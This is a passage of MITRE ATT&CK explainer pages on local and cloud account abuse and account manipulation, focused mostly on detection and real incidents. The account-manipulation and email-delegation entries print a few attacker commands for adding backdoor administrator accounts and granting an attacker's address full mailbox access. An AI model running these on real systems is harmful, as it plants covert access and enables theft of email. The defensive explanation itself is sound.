  * Conducting brute force attacks against local accounts using automated tools such as Hydra, CrackMapExec, or Medusa.
  * Performing dictionary attacks using common or leaked passwords.
* **Exploitation of Default or Weak Local Accounts:**
  * Exploiting default local accounts (e.g., Administrator account with default credentials).
  * Targeting accounts with weak or predictable passwords.
* **Privilege Escalation and Persistence:**
  * Using compromised local accounts to escalate privileges (e.g., exploiting misconfigured permissions or leveraging local administrator privileges).
  * Creating additional local accounts with administrative rights for persistence and future access.

Attackers may leverage these local accounts to:

* Execute commands and scripts remotely or locally.
* Move laterally within the network by authenticating to additional systems.
* Maintain ongoing access to compromised systems, even after password resets or account lockouts.

## When this Technique is Usually Used

Local account compromise typically occurs across multiple stages of an attack lifecycle, including:

* **Initial Access:**
  * Attackers may exploit weak or default local account credentials exposed externally (e.g., RDP, SSH).
* **Persistence:**
  * Creating backdoor local accounts or leveraging existing local accounts to maintain long-term access.
* **Privilege Escalation:**
  * Utilizing local accounts with administrative privileges to escalate from standard user accounts.
* **Defense Evasion:**
  * Using legitimate local credentials to blend in with normal administrative activity, avoiding suspicion.
* **Lateral Movement:**
  * Authenticating to other systems within the network using compromised local account credentials.

## How this Technique is Usually Detected

Detection of local account misuse can be challenging but achievable through a combination of proactive monitoring, logging, and anomaly detection techniques:

* **Monitoring Authentication Logs:**
  * Analyze Windows Security Event Logs (Event ID 4624, 4625) for unusual or failed login attempts.
  * Monitor Linux/Unix authentication logs (/var/log/auth.log or /var/log/secure) for suspicious login activity.
* **Behavioral Analytics:**
  * Use User and Entity Behavior Analytics (UEBA) solutions to detect deviations from normal authentication patterns, such as logins during unusual hours, from unusual locations, or using uncommon methods.
* **Endpoint Detection and Response (EDR) Tools:**
  * Detect the execution of credential dumping tools (e.g., Mimikatz).
  * Identify suspicious local account creation or modification events.
* **File Integrity Monitoring (FIM):**
  * Monitor critical system files and directories for unauthorized changes or suspicious file access patterns.
* **Password Auditing and Policy Enforcement:**
  * Regularly audit local accounts for weak, default, or compromised passwords.
  * Implement password complexity policies and enforce regular password rotation.

Indicators of Compromise (IoCs) include:

* Unusual local account creation or modification events.
* Frequent failed login attempts followed by successful authentication.
* Authentication from unexpected IP addresses or locations.
* Execution artifacts from credential dumping tools (e.g., suspicious binaries, PowerShell scripts).

## Why it is Important to Detect This Technique

Detecting unauthorized use of local accounts is crucial due to the significant potential impacts on system and network security:

* **Persistence and Long-term Access:**
  * Attackers leveraging local accounts can maintain persistent access, even after initial remediation efforts.
* **Privilege Escalation and Control:**
  * Compromised local administrator accounts provide attackers with elevated privileges, enabling unrestricted access, modification, or deletion of critical data.
* **Lateral Movement:**
  * Attackers can use local account credentials to move laterally, expanding the scope of compromise and increasing the difficulty of remediation.
* **Data Exfiltration and Espionage:**
  * Attackers with local account access can exfiltrate sensitive data, intellectual property, or personal information, leading to financial loss, regulatory penalties, and reputational damage.
* **Operational Disruption:**
  * Unauthorized local account access can disrupt business operations through sabotage, ransomware deployment, or denial-of-service attacks.

Early detection of local account compromise significantly reduces the risk of extensive damage, limits attacker dwell time, and enables rapid containment and remediation.

## Examples

Real-world examples of attacks leveraging local accounts include:

* **NotPetya Attack (2017):**
  * Attackers used credential harvesting tools such as Mimikatz to extract local account credentials.
  * Leveraged local administrator credentials to propagate rapidly across networks, encrypting data and causing widespread operational disruption.
* **SamSam Ransomware Attacks (2016-2018):**
  * Attackers exploited weak local account credentials exposed via Remote Desktop Protocol (RDP) to gain initial access.
  * Utilized compromised local administrator accounts to deploy ransomware on targeted systems.
* **FIN7 Cybercrime Group:**
  * Conducted targeted attacks against retail and hospitality sectors, utilizing credential dumping tools and brute-force attacks to compromise local accounts.
  * Leveraged local account credentials for lateral movement and persistence, ultimately exfiltrating sensitive customer data.

Common tools and methods observed in these scenarios:

* Credential dumping tools: Mimikatz, LaZagne, gsecdump.
* Brute-force and password spraying tools: Hydra, CrackMapExec, Medusa.
* Remote administration tools (RATs): PsExec, Remote Desktop Protocol (RDP), SSH.

Impacts observed in these examples include:

* Financial losses due to operational downtime and ransom payments.
* Regulatory fines and legal penalties resulting from data breaches.
* Reputational damage and loss of customer trust.
* Extensive remediation efforts and associated costs.


# Cloud Accounts

Cloud Accounts \[T1078.004]

## Information

* Name: Cloud Accounts
* ID: T1078.004
* Tactics: [TA0005](/mitre/mitre/ta0005), [TA0003](/mitre/mitre/ta0003), [TA0004](/mitre/mitre/ta0004), [TA0001](/mitre/mitre/ta0001)
* Technique: [T1078](/mitre/mitre/ta0003/t1078)

## Introduction

Cloud Accounts (T1078.004) is a sub-technique within the MITRE ATT\&CK framework under the broader technique "Valid Accounts (T1078)." It involves adversaries compromising or abusing legitimate cloud service provider accounts to gain unauthorized access, maintain persistence, escalate privileges, or facilitate further attacks within cloud environments. Attackers typically leverage stolen credentials, credential stuffing, phishing attacks, or exploitation of weak authentication mechanisms to access and misuse cloud accounts.

## Deep Dive Into Technique

Adversaries targeting cloud accounts primarily exploit authentication mechanisms and credential management practices. Key technical details and methods include:

* **Credential Theft and Reuse:**
  * Attackers obtain cloud credentials through phishing campaigns, social engineering, leaked credentials databases, or malware infections.
  * Credential stuffing attacks utilize automated tools to systematically test stolen credentials against cloud authentication endpoints.
* **Exploiting Weak Authentication Configurations:**
  * Attackers leverage accounts configured without multi-factor authentication (MFA) or with weak password policies.
  * Abuse of insecure APIs or misconfigured cloud resources that expose sensitive credentials.
* **Session Hijacking and Token Theft:**
  * Attackers intercept or steal session tokens or authentication tokens, enabling unauthorized access without needing the original password.
  * Use of token replay attacks, where valid tokens are reused to gain access to cloud environments.
* **Privilege Escalation via Cloud IAM:**
  * Attackers exploit overly permissive IAM (Identity and Access Management) policies or roles within cloud environments.
  * Manipulation of cloud IAM roles to escalate privileges or gain administrative access.
* **Persistence and Lateral Movement:**
  * Attackers create additional cloud accounts, roles, or API keys to maintain persistence and evade detection.
  * Use compromised cloud accounts to move laterally between cloud resources, services, or even hybrid environments.
* **Automation and Scripting:**
  * Use of automated scripts and tools to systematically enumerate cloud resources, extract sensitive data, or provision unauthorized resources.
  * Tools such as AWS CLI, Azure CLI, Google Cloud SDK, and open-source exploitation frameworks are commonly employed.

## When this Technique is Usually Used

Attackers leverage cloud accounts at various stages of the cyber kill chain, including:

* **Initial Access:**
  * Compromised cloud credentials can serve as an initial vector into cloud environments, bypassing perimeter defenses.
* **Persistence:**
  * Creation of additional cloud accounts, API keys, or IAM users/roles ensures continued access even if initial credentials are revoked.
* **Privilege Escalation:**
  * Exploiting IAM roles or misconfigured permissions to escalate privileges within the cloud environment.
* **Lateral Movement:**
  * Using compromised cloud accounts to pivot between cloud services, resources, or hybrid on-premises/cloud infrastructures.
* **Data Exfiltration:**
  * Cloud accounts enable attackers to access sensitive data stored in cloud storage services, databases, or other resources.
* **Impact and Resource Hijacking:**
  * Attackers utilize compromised cloud accounts to launch denial-of-service (DoS) attacks, cryptocurrency mining operations, or deploy malicious infrastructure.

## How this Technique is Usually Detected

Detection of compromised or abused cloud accounts involves multiple layers and approaches, including:

* **Monitoring and Alerting on Authentication Events:**
  * Employing cloud-native logging and security services (AWS CloudTrail, Azure Monitor, Google Cloud Audit Logs) to track authentication attempts, account creations, and suspicious logins.
  * Alerting on unusual login patterns such as logins from unfamiliar IP addresses, impossible travel scenarios, or unusual login hours.
* **Behavioral Analytics and Anomaly Detection:**
  * Implementing User and Entity Behavior Analytics (UEBA) to detect deviations from normal user behaviors and usage patterns.
  * Identifying anomalous API calls, unusual resource provisioning, or abnormal data access patterns.
* **Multi-Factor Authentication (MFA) Enforcement and Monitoring:**
  * Enforcing MFA policies to reduce credential compromise risks.
  * Monitoring and alerting on MFA bypass attempts or unusual MFA activity.
* **Cloud Security Posture Management (CSPM) Tools:**
  * Using CSPM solutions to detect misconfigurations, overly permissive IAM roles, and unauthorized resource creations.
  * Continuous monitoring of cloud account configurations and permissions.
* **Indicators of Compromise (IoCs):**
  * Unusual API calls or commands executed by cloud accounts.
  * Sudden or unexpected creation of new IAM roles, users, or API keys.
  * Detection of cloud resources provisioned in unfamiliar regions or services.
  * Increased billing or resource usage indicative of unauthorized resource utilization (e.g., crypto mining).

## Why it is Important to Detect This Technique

Early detection of compromised cloud accounts is crucial due to significant potential impacts, including:

* **Data Breaches and Data Loss:**
  * Attackers with cloud account access can exfiltrate sensitive information, intellectual property, customer data, or personally identifiable information (PII).
* **Financial and Operational Impact:**
  * Unauthorized resource provisioning can lead to substantial financial costs due to unexpected cloud service charges.
  * Attackers may disrupt business operations through resource hijacking or denial-of-service attacks.
* **Reputation and Compliance Risks:**
  * Data breaches or unauthorized access incidents can severely damage organizational reputation and trust.
  * Organizations may face regulatory fines or legal consequences due to non-compliance with data protection regulations (e.g., GDPR, HIPAA, PCI DSS).
* **Persistence and Further Compromise:**
  * Undetected compromised accounts enable attackers to maintain persistence, escalate privileges, and move laterally, increasing the risk of widespread compromise.
* **Security Posture Degradation:**
  * Attackers can alter cloud security configurations, weakening overall security posture and exposing the organization to future attacks.

## Examples

Real-world incidents and examples involving compromised cloud accounts include:

* **Capital One Breach (2019):**
  * Attackers exploited a misconfigured AWS IAM role to access sensitive data stored in Amazon S3 buckets.
  * Impact: Approximately 100 million customer records exposed, resulting in significant financial penalties and reputational damage.
* **Tesla Kubernetes Cluster Compromise (2018):**
  * Attackers gained access to Tesla's AWS cloud account credentials due to an unsecured Kubernetes administrative console.
  * Attackers deployed cryptocurrency mining software on Tesla's cloud infrastructure, incurring unauthorized resource costs.
* **Uber AWS Account Compromise (2016):**
  * Attackers obtained AWS cloud credentials stored insecurely in GitHub repositories.
  * Resulted in unauthorized access to sensitive data of approximately 57 million users and drivers, leading to significant regulatory fines and reputational harm.
* **Code Spaces Attack (2014):**
  * Attackers gained access to AWS cloud account credentials and demanded ransom.
  * Upon refusal, attackers deleted cloud resources, effectively destroying the company's entire infrastructure and forcing its closure.
* **TeamTNT Cybercrime Group (2020-2021):**
  * Attackers targeted cloud environments to steal AWS credentials and deploy cryptocurrency mining software.
  * Leveraged automated scripts and tools to systematically scan and compromise cloud accounts across multiple organizations.

In these examples, attackers exploited compromised cloud accounts through credential theft, misconfigurations, weak authentication practices, and insecure credential storage. The resulting impacts included financial losses, operational disruptions, data breaches, regulatory penalties, and severe reputational damage.


# Account Manipulation

Account Manipulation \[T1098]

## Information

* Name: Account Manipulation
* ID: T1098
* Tactics: [TA0003](/mitre/mitre/ta0003), [TA0004](/mitre/mitre/ta0004)
* Sub-Technique: [T1098.003](/mitre/mitre/ta0003/t1098/t1098.003), [T1098.006](/mitre/mitre/ta0003/t1098/t1098.006), [T1098.007](/mitre/mitre/ta0003/t1098/t1098.007), [T1098.004](/mitre/mitre/ta0003/t1098/t1098.004), [T1098.005](/mitre/mitre/ta0003/t1098/t1098.005), [T1098.001](/mitre/mitre/ta0003/t1098/t1098.001), [T1098.002](/mitre/mitre/ta0003/t1098/t1098.002)

## Introduction

Account Manipulation (T1098) is a technique categorized within the MITRE ATT\&CK framework under the tactic of Persistence, Privilege Escalation, and Defense Evasion. Attackers leverage this technique to maintain persistent access to compromised systems, elevate their privileges, or evade detection by altering, creating, or deleting user and system accounts. Manipulating accounts allows adversaries to blend into legitimate administrative activities, making detection challenging and enabling prolonged access within targeted environments.

## Deep Dive Into Technique

Account Manipulation involves attackers modifying existing user accounts or creating new accounts to maintain persistence, escalate privileges, or evade detection. Technical execution methods and mechanisms include:

* **Creating New Accounts:**
  * Attackers may create local or domain accounts, such as standard user accounts or administrative accounts, to maintain access.
  * On Windows systems, adversaries may use command-line utilities such as:
    * `net user <username> <password> /add`
    * PowerShell cmdlets: `New-LocalUser`, `New-ADUser`
  * On Linux/Unix systems:
    * Commands like `useradd`, `adduser`, and editing `/etc/passwd` or `/etc/shadow` directly.
* **Modifying Existing Accounts:**
  * Attackers may alter account permissions, privileges, or group memberships to escalate privileges or maintain access.
  * Windows:
    * Commands such as `net localgroup administrators <username> /add`
    * PowerShell scripts to modify Active Directory group memberships or user attributes.
  * Linux/Unix:
    * Commands such as `usermod`, editing `/etc/group`, or directly manipulating PAM configurations.
* **Deleting or Disabling Accounts:**
  * Attackers may disable or delete accounts to disrupt legitimate administrative activities or hide their tracks.
  * Windows:
    * `net user <username> /delete`
    * PowerShell cmdlets: `Remove-LocalUser`, `Remove-ADUser`
  * Linux/Unix:
    * Commands such as `userdel` or editing system files directly.
* **Manipulating Account Attributes:**
  * Attackers may alter account attributes (e.g., password expiration, login scripts, home directories) to facilitate persistence or privilege escalation.
  * Windows Active Directory:
    * Using tools like Active Directory Users and Computers (ADUC), PowerShell, or direct LDAP queries.
  * Linux/Unix:
    * Modifying files like `/etc/passwd`, `/etc/shadow`, and `/etc/login.defs`.

## When this Technique is Usually Used

Account Manipulation is commonly employed during various stages and scenarios of cyberattacks:

* **Persistence:**
  * Attackers create or modify accounts to ensure persistent access even after system reboots or credential changes.
  * Commonly used after initial compromise (post-exploitation).
* **Privilege Escalation:**
  * Attackers modify existing accounts or create new accounts with elevated privileges to gain administrative control.
  * Often occurs immediately after initial foothold establishment or lateral movement.
* **Defense Evasion:**
  * Attackers manipulate accounts to blend into legitimate administrative activities, making detection challenging.
  * Deleting or disabling accounts may also be used to disrupt defensive operations or hide attacker presence.
* **Credential Access:**
  * Attackers may alter account password policies or attributes to facilitate easier credential harvesting.
* **Impact Stage:**
  * Attackers may disable or delete legitimate accounts to disrupt organizational operations or hinder incident response.

## How this Technique is Usually Detected

Detection of Account Manipulation involves monitoring and analyzing various system logs, configurations, and behaviors. Common detection methods, tools, and indicators of compromise (IoCs) include:

* **Windows Event Logs:**
  * Security logs (Event IDs):
    * `4720`: User account created
    * `4722`: User account enabled
    * `4725`: User account disabled
    * `4726`: User account deleted
    * `4732`, `4733`: Security-enabled local group membership changes
    * `4738`: User account attributes changed
  * System logs for unusual service account creations or modifications.
* **Linux/Unix Logs:**
  * `/var/log/auth.log`, `/var/log/secure` for account creation, deletion, or modifications.
  * Monitoring changes to files such as `/etc/passwd`, `/etc/shadow`, `/etc/group`.
* **Active Directory Monitoring:**
  * Tools like Microsoft Defender for Identity, Azure AD Audit Logs, and third-party solutions (Splunk, Elastic Security, CrowdStrike Falcon, SentinelOne).
  * LDAP queries and monitoring of unusual account attribute changes.
* **Endpoint Detection and Response (EDR) and SIEM Tools:**
  * Real-time monitoring for suspicious account activities.
  * Alerting on unusual account creation, modification, or deletion events.
* **Behavioral Analytics:**
  * Detecting anomalous account behaviors, such as logins from unusual locations or times, sudden privilege escalations, or account creations/deletions outside normal administrative hours.
* **Indicators of Compromise (IoCs):**
  * Unexpected or unauthorized accounts appearing in user directories or Active Directory.
  * Sudden privilege escalation of existing accounts.
  * Disabled or deleted legitimate administrative accounts without proper authorization.
  * Unusual logins or account modifications from suspicious or unknown sources.

## Why it is Important to Detect This Technique

Early detection of Account Manipulation is critical due to its significant impacts on security posture, operational integrity, and organizational trust. Possible impacts and reasons for importance include:

* **Persistent Access:**
  * Undetected manipulated accounts enable attackers to retain long-term access, increasing risk of prolonged breaches and data exfiltration.
* **Privilege Escalation:**
  * Attackers gaining elevated privileges can perform further malicious actions, including lateral movement, data theft, ransomware deployment, or sabotage of critical systems.
* **Operational Disruption:**
  * Deletion or disabling of legitimate accounts disrupts business operations, leading to service outages, productivity loss, and potential financial harm.
* **Difficulty of Remediation:**
  * Manipulated accounts complicate incident response and remediation efforts, making it challenging to fully eradicate attacker presence.
* **Compliance and Regulatory Implications:**
  * Failure to detect and respond to account manipulation may lead to breaches of compliance standards (e.g., GDPR, HIPAA, PCI DSS), resulting in legal penalties and reputational damage.
* **Increased Risk of Insider Threats:**
  * Manipulated accounts may be leveraged to mimic insider behaviors, complicating attribution and response.

## Examples

Real-world examples of Account Manipulation in attack scenarios include:

* **APT29 (Cozy Bear):**
  * Utilized account manipulation techniques to maintain persistent access within targeted networks by creating new domain administrator accounts and modifying existing accounts.
  * Tools used: PowerShell scripts, custom malware, and legitimate administrative utilities.
  * Impact: Persistent espionage activities, data theft, and prolonged breaches.
* **FIN7 Cybercrime Group:**
  * Created new Windows administrative accounts after initial compromise to maintain persistent access and evade detection.
  * Tools used: PowerShell scripts, Cobalt Strike, and built-in Windows utilities (`net user`, `net localgroup`).
  * Impact: Financial data theft, unauthorized access to payment card data, and significant financial losses for targeted organizations.
* **NotPetya Ransomware Attack:**
  * Manipulated Active Directory accounts to escalate privileges and propagate rapidly across networks.
  * Tools used: Mimikatz, built-in Windows commands, and credential theft techniques.
  * Impact: Massive global disruption, significant financial damages, and operational downtime across multiple industries.
* **Operation Cloud Hopper (APT10):**
  * Leveraged account manipulation by creating new accounts and altering existing ones within managed service providers (MSPs) to gain persistent access to customer networks.
  * Tools used: Custom malware, PowerShell scripts, and legitimate administrative tools.
  * Impact: Espionage, intellectual property theft, and prolonged unauthorized access.
* **Insider Threat Scenarios:**
  * Malicious insiders manipulating or creating unauthorized accounts to exfiltrate sensitive data or disrupt organizational operations.
  * Tools used: Standard administrative tools, scripting languages, and direct system configuration edits.
  * Impact: Data breaches, operational disruptions, reputational harm, and financial losses.


# Additional Cloud Credentials

Additional Cloud Credentials \[T1098.001]

## Information

* Name: Additional Cloud Credentials
* ID: T1098.001
* Tactics: [TA0003](/mitre/mitre/ta0003), [TA0004](/mitre/mitre/ta0004)
* Technique: [T1098](/mitre/mitre/ta0003/t1098)

## Introduction

The MITRE ATT\&CK sub-technique Additional Cloud Credentials (T1098.001) refers to adversaries obtaining and leveraging extra credentials within cloud environments beyond their initial access point. Attackers frequently utilize these credentials to maintain persistence, escalate privileges, and move laterally across cloud resources. By acquiring additional cloud credentials, adversaries can expand their control and enhance their ability to evade detection and remediation efforts.

## Deep Dive Into Technique

Attackers commonly execute this sub-technique by targeting cloud platform features, configurations, or vulnerabilities to obtain additional credentials. The following mechanisms detail typical methods attackers use:

* **Credential Theft from Cloud Instances:**
  * Attackers access cloud-hosted virtual machines or containers and extract credentials stored within instance metadata services or configuration files.
  * Exploitation of misconfigured instance metadata endpoints (e.g., AWS EC2 metadata endpoint at `http://169.254.169.254`).
* **Compromising Cloud Identity and Access Management (IAM) Roles and Policies:**
  * Attackers exploit overly permissive IAM policies or roles to gain elevated privileges or additional credentials.
  * Manipulation or abuse of IAM trust relationships to assume additional roles.
* **Cloud Service Misconfigurations:**
  * Misconfigured storage buckets, databases, or other cloud services that inadvertently expose credentials or access tokens.
  * Harvesting credentials from improperly secured cloud-based CI/CD pipelines or code repositories.
* **Phishing and Social Engineering:**
  * Attackers may use targeted phishing campaigns to trick users into revealing cloud credentials or authorizing OAuth applications that grant additional credentials.
* **Third-party Integrations and OAuth Tokens:**
  * Attackers abuse third-party applications or OAuth tokens with excessive permissions to access additional cloud credentials or escalate privileges.
* **Credential Dumping Tools and Scripts:**
  * Utilizing specialized tools and scripts designed to extract secrets, tokens, or credentials from cloud instances or services (e.g., Pacu, ScoutSuite, Prowler).

## When this Technique is Usually Used

Attackers typically leverage additional cloud credentials during multiple stages of an attack lifecycle, including:

* **Initial Access and Persistence:**
  * After initial compromise, adversaries obtain additional credentials to maintain persistent access even if initial credentials are revoked or discovered.
* **Privilege Escalation:**
  * Attackers use additional credentials to escalate privileges, gaining administrative access or broader permissions within cloud environments.
* **Lateral Movement:**
  * Utilizing additional credentials to move laterally across cloud accounts, resources, or even between cloud providers.
* **Defense Evasion:**
  * Attackers rotate between multiple credentials to obscure activities, evade detection, and complicate incident response efforts.
* **Data Exfiltration and Impact:**
  * Attackers leverage additional credentials to access sensitive data, intellectual property, or confidential information stored in cloud environments.

## How this Technique is Usually Detected

Detection of additional cloud credential usage typically involves monitoring and auditing cloud environments with various methods and tools:

* **Cloud Provider Logging and Monitoring:**
  * AWS CloudTrail, Azure Activity Logs, Google Cloud Audit Logs to track suspicious or unauthorized credential usage.
  * Monitoring for unusual API calls, unexpected IAM policy changes, or suspicious role assumptions.
* **Cloud Security Posture Management (CSPM) Tools:**
  * Tools such as Prisma Cloud, CloudGuard, Aqua Security, or Wiz to detect misconfigurations and suspicious credential activity.
* **Behavioral Analytics and Anomaly Detection:**
  * Leveraging User and Entity Behavior Analytics (UEBA) tools to identify anomalous credential usage patterns or unusual access attempts.
* **Endpoint Detection and Response (EDR) and Cloud Workload Protection Platforms (CWPP):**
  * Monitoring cloud instances for credential dumping tools, scripts, or suspicious processes indicative of credential harvesting.
* **Specific Indicators of Compromise (IoCs):**
  * Unusual or unauthorized IAM role assumption events.
  * Unexpected increase in API requests from unknown or unexpected sources.
  * Detection of credential dumping tools (e.g., Pacu, ScoutSuite) on cloud instances.
  * Identification of unauthorized OAuth application authorizations or tokens within cloud environments.

## Why it is Important to Detect This Technique

Early detection of adversaries obtaining additional cloud credentials is critical for several reasons:

* **Preventing Privilege Escalation:**
  * Early detection helps mitigate attackers' ability to escalate privileges and gain administrative control over cloud resources.
* **Reducing Damage and Impact:**
  * Quickly identifying compromised credentials limits attackers' opportunities to exfiltrate sensitive data, disrupt operations, or cause financial and reputational damage.
* **Stopping Lateral Movement:**
  * Prompt detection prevents attackers from moving laterally across cloud environments, containing the attack and reducing the scope of compromise.
* **Preserving Trust and Compliance:**
  * Timely detection and response ensure compliance with regulatory standards (e.g., GDPR, HIPAA, PCI DSS) and protect organizational reputation and customer trust.
* **Improving Incident Response Efficiency:**
  * Identifying and remediating compromised credentials early reduces the complexity, time, and costs associated with incident response and recovery efforts.

## Examples

Real-world examples of adversaries leveraging additional cloud credentials include:

* **Capital One Breach (2019):**
  * Attack Scenario:
    * Attacker exploited a misconfigured Web Application Firewall (WAF) to access an AWS EC2 instance.
    * Extracted AWS IAM credentials from the instance metadata service.
  * Tools and Techniques:
    * Accessed AWS EC2 metadata endpoint (`http://169.254.169.254`) to obtain IAM role credentials.
  * Impact:
    * Exfiltrated sensitive data of over 100 million customers, resulting in significant financial and reputational damage.
* **TeamTNT Cloud Attacks (2020-2021):**
  * Attack Scenario:
    * Attackers compromised cloud instances and containers to extract AWS credentials from metadata endpoints and configuration files.
  * Tools and Techniques:
    * Used automated scripts and tools to scan and extract AWS credentials from compromised Docker instances and Kubernetes clusters.
  * Impact:
    * Hijacked cloud resources for cryptocurrency mining, resulting in increased operational costs and resource exhaustion.
* **Uber Data Breach (2022):**
  * Attack Scenario:
    * Attacker performed social engineering against an employee, gaining initial credentials.
    * Leveraged compromised VPN and cloud credentials to access internal cloud resources.
  * Tools and Techniques:
    * Social engineering, credential theft, lateral movement within cloud environments.
  * Impact:
    * Exposure of sensitive internal data, significant public scrutiny, and regulatory investigations.

These examples highlight the critical importance of securing cloud environments and proactively monitoring for unauthorized credential usage to prevent severe impacts.


# Additional Email Delegate Permissions

Additional Email Delegate Permissions \[T1098.002]

## Information

* Name: Additional Email Delegate Permissions
* ID: T1098.002
* Tactics: [TA0003](/mitre/mitre/ta0003), [TA0004](/mitre/mitre/ta0004)
* Technique: [T1098](/mitre/mitre/ta0003/t1098)

## Introduction

The sub-technique Additional Email Delegate Permissions (T1098.002) falls under the MITRE ATT\&CK framework's Account Manipulation technique (T1098). Attackers leveraging this sub-technique assign additional delegate permissions to email accounts, enabling unauthorized access, persistence, and stealthy monitoring of email communications. Delegation permissions allow attackers to read, send, and manage emails on behalf of the compromised users, facilitating internal reconnaissance, lateral movement, and data exfiltration activities without raising immediate suspicion.

## Deep Dive Into Technique

Attackers exploiting Additional Email Delegate Permissions typically target email systems such as Microsoft Exchange and Office 365. Email delegation permissions allow one mailbox user to grant another user or account the ability to read, send, and manage email messages on their behalf. Attackers may abuse this functionality by:

* Modifying mailbox permissions using administrative credentials or compromised user accounts with sufficient privileges.
* Leveraging PowerShell cmdlets, Exchange Management Shell, or Exchange Web Services (EWS) API to assign mailbox delegation rights silently.
* Assigning delegate permissions such as "Full Access," "Send As," or "Send on Behalf" to an attacker-controlled account or compromised internal account.

Technical execution methods include:

* **PowerShell Commands:**
  * `Add-MailboxPermission -Identity victim@example.com -User attacker@example.com -AccessRights FullAccess -InheritanceType All`
  * `Add-RecipientPermission victim@example.com -Trustee attacker@example.com -AccessRights SendAs`
* **Exchange Web Services (EWS) APIs:**
  * Attackers may interact directly with EWS endpoints to manipulate permissions programmatically and silently.
* **Graph API (Office 365 environments):**
  * Attackers may leverage Microsoft Graph API endpoints to silently adjust mailbox permissions if they have sufficient privileges.

Real-world procedures commonly involve:

* Compromising administrator-level accounts or accounts with sufficient Exchange privileges.
* Stealthily assigning delegate permissions to attacker-controlled accounts or compromised internal accounts for persistent email access.
* Monitoring internal communications, exfiltrating sensitive data, or conducting internal phishing campaigns using delegated permissions.

## When this Technique is Usually Used

Additional Email Delegate Permissions are typically employed by attackers during the following attack stages and scenarios:

* **Persistence:**
  * Attackers establish persistent access to sensitive email communications by silently assigning delegate permissions, even after initial access vectors are mitigated.
* **Collection and Reconnaissance:**
  * Attackers monitor email communications to gather intelligence, sensitive data, credentials, or internal organizational information.
* **Credential Access and Lateral Movement:**
  * Attackers leverage delegated permissions to send internal phishing emails, spread malicious content, or escalate privileges internally.
* **Exfiltration:**
  * Attackers silently forward emails or use delegated access to extract sensitive information outside the organization without raising alarms.
* **Internal Phishing and Social Engineering:**
  * Attackers use delegate permissions to impersonate legitimate users, sending emails from trusted internal accounts to deceive users.

## How this Technique is Usually Detected

Detection of Additional Email Delegate Permissions involves monitoring and auditing mailbox permissions and changes closely. Methods and tools include:

* **Exchange Audit Logging:**
  * Regularly review mailbox permission changes logged by Exchange or Office 365 audit logs for suspicious or unauthorized delegate permissions.
* **PowerShell Logging and Monitoring:**
  * Monitor PowerShell command execution logs for suspicious mailbox permission cmdlets (`Add-MailboxPermission`, `Add-RecipientPermission`) executed by unusual accounts or at unusual times.
* **Microsoft 365 Defender and Security Center Alerts:**
  * Utilize built-in alerts and anomaly detection that flag unusual mailbox permission assignments or delegate permission changes.
* **SIEM Solutions and Log Aggregation Tools:**
  * Aggregate and correlate Exchange logs, PowerShell logs, and API access logs to detect suspicious permission changes.
* **Indicators of Compromise (IoCs):**
  * Sudden appearance of unknown delegate permissions on sensitive mailboxes.
  * Unexpected mailbox permission modifications initiated by non-administrative or rarely-used administrative accounts.
  * Unusual login or mailbox access patterns from unknown or suspicious IP addresses or devices.

## Why it is Important to Detect This Technique

Detecting Additional Email Delegate Permissions early is critical due to the potential severe impacts on organizational security, privacy, and operational integrity:

* **Data Theft and Exfiltration:**
  * Attackers gain persistent, covert access to sensitive internal communications, intellectual property, financial data, and personally identifiable information (PII).
* **Internal Reconnaissance and Privilege Escalation:**
  * Attackers leverage email delegate permissions to gather intelligence, escalate privileges, and prepare for lateral movement across the network.
* **Business Email Compromise (BEC) and Fraud:**
  * Attackers impersonate legitimate internal users, conducting fraudulent transactions, unauthorized wire transfers, or business disruptions.
* **Reputational Damage and Regulatory Compliance:**
  * Unauthorized email access can lead to data breaches, regulatory fines, loss of customer trust, and significant reputational damage.
* **Difficulty of Detection Post-Compromise:**
  * Delegate permissions are subtle and may evade detection if not monitored closely, allowing attackers prolonged access and increasing the difficulty of remediation.

Early detection and response significantly reduce these risks, limiting attacker dwell time, minimizing potential damage, and ensuring rapid containment and remediation.

## Examples

Real-world examples of attacks involving Additional Email Delegate Permissions include:

* **APT29 (Cozy Bear) and SolarWinds Incident:**
  * Attackers leveraged compromised administrator accounts to silently assign delegate permissions in Microsoft 365 environments, enabling persistent access to sensitive email communications. Attackers monitored internal communications for months, harvesting sensitive data and intelligence.
  * Tools used included PowerShell scripts and Exchange Web Services (EWS) APIs to silently configure delegate permissions.
  * Impact included prolonged espionage, sensitive data exfiltration, and significant operational disruption.
* **Business Email Compromise (BEC) Incidents:**
  * Attackers compromised executive-level accounts, silently assigned delegate permissions to attacker-controlled internal accounts, and monitored email communications for financial transactions and sensitive business information.
  * Attackers used delegate permissions to impersonate executives, sending fraudulent payment instructions, resulting in significant financial losses.
  * Impact included financial theft, reputational damage, and regulatory scrutiny.
* **Internal Phishing Campaigns:**
  * Attackers assigned delegate permissions to compromised internal accounts, enabling them to send phishing emails from trusted internal accounts, significantly increasing the effectiveness of social engineering attacks.
  * Attackers used delegated email access to distribute malware, ransomware, or credential-stealing phishing emails internally.
  * Impact included widespread credential theft, malware infections, operational disruptions, and costly remediation efforts.

These examples highlight the effectiveness, stealth, and potential severe impacts of Additional Email Delegate Permissions, underscoring the importance of proactive monitoring, detection, and response.


# Additional Cloud Roles

Additional Cloud Roles \[T1098.003]

## Information

* Name: Additional Cloud Roles
* ID: T1098.003
* Tactics: [TA0003](/mitre/mitre/ta0003), [TA0004](/mitre/mitre/ta0004)
* Technique: [T1098](/mitre/mitre/ta0003/t1098)

## Introduction

The MITRE ATT\&CK sub-technique Additional Cloud Roles (T1098.003) falls under the broader technique of Account Manipulation (T1098). This sub-technique specifically addresses scenarios where adversaries create, modify, or assume additional roles within cloud environments to maintain persistence, escalate privileges, or evade detection. Cloud roles define sets of permissions that grant access to resources and services. By manipulating roles, attackers can establish persistent access, facilitate lateral movement, and reduce their risk of detection.

## Deep Dive Into Technique

Additional Cloud Roles (T1098.003) involves adversaries leveraging cloud identity and access management (IAM) systems to create or modify roles with specific permissions. These roles can then be assigned to compromised accounts or resources, enabling attackers to maintain persistence, escalate privileges, or perform lateral movement across the cloud infrastructure.

Technical execution methods include:

* **Creating New IAM Roles:**
  * Attackers may create new roles with elevated or specific permissions tailored to their objectives.
  * Roles can be designed to blend in with legitimate naming conventions to evade suspicion.
* **Modifying Existing Roles:**
  * Attackers may alter existing roles by adding permissions or policies that grant additional access.
  * Existing roles are often targeted due to their legitimate presence, thus minimizing detection risk.
* **Assuming Roles via STS (Security Token Service):**
  * Attackers leverage the cloud provider's STS to assume roles temporarily, obtaining temporary security credentials for privileged actions.
  * Temporary credentials reduce the likelihood of detection, as they are ephemeral and may not be closely monitored.
